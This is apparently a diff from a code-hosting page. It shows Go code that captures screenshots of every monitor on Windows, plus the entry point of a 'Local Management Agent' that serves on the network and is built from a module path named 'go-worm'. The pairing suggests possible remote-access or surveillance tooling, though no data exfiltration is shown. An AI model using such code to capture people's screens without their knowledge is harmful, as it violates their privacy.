procOpenInputDesktop = user32.NewProc("OpenInputDesktop")
|
||||||
|
procSetThreadDesktop = user32.NewProc("SetThreadDesktop")
|
||||||
|
procCloseDesktop = user32.NewProc("CloseDesktop")
|
||||||
|
procEnumDisplayMonitors = user32.NewProc("EnumDisplayMonitors")
|
||||||
|
procGetDC = user32.NewProc("GetDC")
|
||||||
|
procReleaseDC = user32.NewProc("ReleaseDC")
|
||||||
|
procCreateCompatibleDC = gdi32.NewProc("CreateCompatibleDC")
|
||||||
|
procDeleteDC = gdi32.NewProc("DeleteDC")
|
||||||
|
procCreateDIBSection = gdi32.NewProc("CreateDIBSection")
|
||||||
|
procDeleteObject = gdi32.NewProc("DeleteObject")
|
||||||
|
procSelectObject = gdi32.NewProc("SelectObject")
|
||||||
|
procBitBlt = gdi32.NewProc("BitBlt")
|
||||||
|
)
|
||||||
|
|
||||||
|
type rect struct {
|
||||||
|
Left, Top, Right, Bottom int32
|
||||||
|
}
|
||||||
|
|
||||||
|
type bitmapInfoHeader struct {
|
||||||
|
Size uint32
|
||||||
|
Width int32
|
||||||
|
Height int32
|
||||||
|
Planes uint16
|
||||||
|
BitCount uint16
|
||||||
|
Compression uint32
|
||||||
|
SizeImage uint32
|
||||||
|
XPelsPerMeter int32
|
||||||
|
YPelsPerMeter int32
|
||||||
|
ClrUsed uint32
|
||||||
|
ClrImportant uint32
|
||||||
|
}
|
||||||
|
|
||||||
|
type bitmapInfo struct {
|
||||||
|
Header bitmapInfoHeader
|
||||||
|
Colors [1]uint32
|
||||||
|
}
|
||||||
|
|
||||||
|
func Capture(format string, quality int) ([]models.CapturedImage, error) {
|
||||||
|
runtime.LockOSThread()
|
||||||
|
defer runtime.UnlockOSThread()
|
||||||
|
if err := attachInputDesktop(); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
monitors, err := enumerateMonitors()
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if len(monitors) == 0 {
|
||||||
|
return nil, errors.New("no displays found")
|
||||||
|
}
|
||||||
|
result := make([]models.CapturedImage, 0, len(monitors))
|
||||||
|
for _, monitor := range monitors {
|
||||||
|
img, err := captureRect(monitor)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
data, contentType, err := encodeImage(img, format, quality)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
result = append(result, models.CapturedImage{ContentType: contentType, Data: data})
|
||||||
|
}
|
||||||
|
return result, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func attachInputDesktop() error {
|
||||||
|
h, _, err := procOpenInputDesktop.Call(0, 0, 0x0001|0x0040)
|
||||||
|
if h == 0 {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer procCloseDesktop.Call(h)
|
||||||
|
ok, _, err := procSetThreadDesktop.Call(h)
|
||||||
|
if ok == 0 {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func enumerateMonitors() ([]rect, error) {
|
||||||
|
var monitors []rect
|
||||||
|
callback := syscall.NewCallback(func(_ uintptr, _ uintptr, monitorRect uintptr, _ uintptr) uintptr {
|
||||||
|
if monitorRect != 0 {
|
||||||
|
monitors = append(monitors, *(*rect)(unsafe.Pointer(monitorRect)))
|
||||||
|
}
|
||||||
|
return 1
|
||||||
|
})
|
||||||
|
ok, _, err := procEnumDisplayMonitors.Call(0, 0, callback, 0)
|
||||||
|
if ok == 0 {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
return monitors, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func captureRect(r rect) (*image.RGBA, error) {
|
||||||
|
width, height := int(r.Right-r.Left), int(r.Bottom-r.Top)
|
||||||
|
if width <= 0 || height <= 0 {
|
||||||
|
return nil, errors.New("invalid monitor dimensions")
|
||||||
|
}
|
||||||
|
screenDC, _, err := procGetDC.Call(0)
|
||||||
|
if screenDC == 0 {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer procReleaseDC.Call(0, screenDC)
|
||||||
|
memDC, _, err := procCreateCompatibleDC.Call(screenDC)
|
||||||
|
if memDC == 0 {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer procDeleteDC.Call(memDC)
|
||||||
|
bmi := bitmapInfo{Header: bitmapInfoHeader{Size: uint32(unsafe.Sizeof(bitmapInfoHeader{})), Width: int32(width), Height: -int32(height), Planes: 1, BitCount: 32, Compression: 0}}
|
||||||
|
var bits unsafe.Pointer
|
||||||
|
bitmap, _, err := procCreateDIBSection.Call(screenDC, uintptr(unsafe.Pointer(&bmi)), 0, uintptr(unsafe.Pointer(&bits)), 0, 0)
|
||||||
|
if bitmap == 0 || bits == nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer procDeleteObject.Call(bitmap)
|
||||||
|
old, _, _ := procSelectObject.Call(memDC, bitmap)
|
||||||
|
defer procSelectObject.Call(memDC, old)
|
||||||
|
const srccopy = 0x00CC0020 | 0x40000000 // SRCCOPY | CAPTUREBLT
|
||||||
|
ok, _, err := procBitBlt.Call(memDC, 0, 0, uintptr(width), uintptr(height), screenDC, uintptr(int64(r.Left)), uintptr(int64(r.Top)), srccopy)
|
||||||
|
if ok == 0 {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
raw := unsafe.Slice((*byte)(bits), width*height*4)
|
||||||
|
pix := make([]byte, len(raw))
|
||||||
|
for i := 0; i < len(raw); i += 4 {
|
||||||
|
pix[i], pix[i+1], pix[i+2], pix[i+3] = raw[i+2], raw[i+1], raw[i], raw[i+3]
|
||||||
|
}
|
||||||
|
return &image.RGBA{Pix: pix, Stride: width * 4, Rect: image.Rect(0, 0, width, height)}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func encodeImage(img image.Image, format string, quality int) ([]byte, string, error) {
|
||||||
|
var buffer bytes.Buffer
|
||||||
|
if format == "jpeg" {
|
||||||
|
err := jpeg.Encode(&buffer, img, &jpeg.Options{Quality: quality})
|
||||||
|
return buffer.Bytes(), "image/jpeg", err
|
||||||
|
}
|
||||||
|
err := png.Encode(&buffer, img)
|
||||||
|
return buffer.Bytes(), "image/png", err
|
||||||
|
}
|
||||||
@@ -0,0 +1,26 @@
|
|||||||
|
// Local Management Agent is a Windows-only, local network management helper.
|
||||||
|
//
|
||||||
|
// Build for Windows x64:
|
||||||
|
//
|
||||||
|
// GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o localagent.exe .
|
||||||
|
//
|
||||||
|
// The binary is a normal console application. A CMD window appears on launch
|
||||||
|
// and prints the listen address. Press Ctrl+C to stop.
|
||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"tea.chunkbyte.com/kato/go-worm/lib/agent"
|
||||||
|
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
||||||
|
)
|
||||||
|
|
||||||
|
func main() {
|
||||||
|
a, err := agent.New()
|
||||||
|
if err != nil {
|
||||||
|
helpers.Log.Fatalf("%v", err)
|
||||||
|
}
|
||||||
|
defer a.Close()
|
||||||
|
|
||||||
|
if err := a.Serve(); err != nil {
|
||||||
|
helpers.Log.Fatalf("%v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user